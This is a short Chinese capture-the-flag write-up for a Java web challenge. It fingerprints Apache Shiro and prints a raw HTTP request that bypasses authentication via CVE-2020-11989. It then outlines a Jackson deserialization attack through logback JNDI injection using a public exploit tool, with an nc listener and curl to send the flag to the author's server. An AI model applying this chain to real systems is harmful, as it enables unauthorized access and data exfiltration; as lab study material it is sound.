0x01
好久没打过ctf了,最近也在学Java 就看下java的题吧
WP
进入环境就提示访问 /login ,访问之后 提示的 /json ,试着访问一下
给了 jessid,继续访问 /json 的话 又会跳转至 /login 应该是要传点username password
果然是了,但是 返回来的cookie 里带了deleteme,之前审过的shiro 也出现了这个deleteme ,是一个密钥的漏洞,所以能够判断这是一个shiro 框架,需要利用到shiro 的cve来做这道题:
CVE-2020-11989(Apache Shiro 身份验证绕过漏洞)
POST /;/json HTTP/1.1
Host: 9b63ba99-caf3-4e1b-bab4-564ef01f1395.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: __gads=ID=056e45c01b76df3e-22cdd5597fd6003d:T=1663221148:RT=1663221148:S=ALNI_MYAqkMeYYS04j25MM9Kyxa1XLZcCA; __gpi=UID=000009c875aad8e4:T=1663221148:RT=1663221148:S=ALNI_MZN5I6s03jJvpM6FcYIXrjrskcrHw; JSESSIONID=DBB9521B3276CDDE6C1C92AB26C0F694
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 2
[]
成功绕过,但是会爆 json 错误
jackson 反序列化 涉及知识盲区
参考文章:
http://b1ue.cn/archives/189.html
Jackson 反序列化汇总 (lmxspace.com)
大致看了下 POC 是由logback 引起的jndi 注入(借用fmy师傅的图),在ch.qos.logback.core.db.JNDIConnectionSource这个类里:
接着调用 lookupDataSource()
使用工具:
https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/README-CN.md
利用 curl -f 将flag带出
在公网服务器 搭建jndi 服务器:
监听 nc -lvnp 1111
访问RMI地址
nc 监听到:
之前市赛有这一道一模一样的题,当时没做出来 可惜